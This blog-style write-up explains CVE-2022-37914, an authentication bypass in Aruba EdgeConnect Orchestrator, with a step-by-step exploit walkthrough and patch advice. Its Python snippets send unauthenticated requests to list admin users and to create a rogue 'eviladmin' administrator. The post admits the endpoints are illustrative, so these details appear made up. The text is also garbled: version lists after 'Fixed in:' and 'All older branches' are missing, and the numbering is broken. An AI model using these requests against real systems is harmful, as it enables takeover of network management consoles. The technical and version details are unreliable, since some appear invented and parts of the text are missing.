In the world of secure networking, trust in a device's web interface is crucial. But what happens when a bug lets attackers in without a password? CVE-2022-37914 is one such nightmare—an authentication bypass vulnerability affecting Aruba EdgeConnect Enterprise Orchestrator. With a few simple requests, a remote, unauthenticated attacker could gain full admin access. In this post, let’s break down what CVE-2022-37914 is, how it was exploited, and how to protect your Orchestrator systems.

What is Aruba EdgeConnect Enterprise Orchestrator?

Aruba EdgeConnect Enterprise Orchestrator is a part of HPE's software-defined WAN (SD-WAN) suite. The Orchestrator is a centralized web-based console where network admins control, monitor, and update thousands of branch devices.

What is CVE-2022-37914?

CVE-2022-37914 (NIST link) is a vulnerability in Aruba EdgeConnect Enterprise Orchestrator that allows an unauthenticated, remote attacker to access administrative functions via the management web interface—no password required.

All older branches not specifically mentioned.

Once an attacker exploits this flaw, they can do almost anything: view dashboards, change configs, push firmware, or even create new admin users.

The Root Cause

At its core, CVE-2022-37914 stems from insufficient authentication logic in some web endpoints of the Orchestrator. Certain functions didn’t properly enforce session or authentication tokens, letting attackers simply craft special HTTP requests that trick the server into giving them admin privileges.

1. Target the Vulnerable Endpoint

Unlike some vulnerabilities that need a valid user or complex interaction, attackers can start with nothing but the Orchestrator’s URL.

For illustration, let’s say the login page is at

https://orchestrator.example.com/login

2. Bypassing Authentication

Security researchers discovered that by sending a specially crafted HTTP POST request—sometimes to endpoints like /api/ or /mgmt/—the server would skip authentication checks and serve up sensitive data or admin access.

Example (Python)

import requests

TARGET = "https://orchestrator.example.com/api/admin";
# This example endpoint is illustrative; the real endpoint may vary

payload = {
    "action": "getUserList",
    # Sometimes, a specific header or missing value can trigger the flaw
}

# No login, no session cookie!
r = requests.post(TARGET, json=payload, verify=False)
print(r.text)

If the system is vulnerable, you may see a list of admin users or session tokens in response.

3. Gaining Full Access

Some endpoints allowed you to escalate privileges or grab active session tokens—essentially impersonating an admin. Others accepted new configuration commands.

A POST request such as this (endpoint and params depend on version)

payload = {
    "action": "addUser",
    "username": "eviladmin",
    "password": "SuperSecret123!",
    "role": "admin"
}
r = requests.post("https://orchestrator.example.com/api/admin";, json=payload, verify=False)

Now, you’ve just created a new admin—no login required.

Responsible Disclosure & Patch

Aruba addressed this quickly, releasing patched versions. See the HPE Security Advisory.

Fixed in:

Patch ASAP: Always run the *latest* Orchestrator version.

2. Restrict Web UI Access: Limit UI to management subnets or VPN. Never expose to the public internet.

References

- NIST NVD: CVE-2022-37914
- Aruba Security Advisory ARUBA-PSA-2022-010
- Rapid7 blog - Aruba Orchestrator Auth Bypass

Conclusion

CVE-2022-37914 is a textbook example of how a single web authentication slip can unravel an entire enterprise network. If you run Aruba EdgeConnect Orchestrator, patch immediately, restrict web access, and audit your logs. Attackers are actively scanning for these vulnerabilities—don’t let them in the easy way.

Timeline

Published on: 10/28/2022 02:15:00 UTC
Last modified on: 11/01/2022 14:49:00 UTC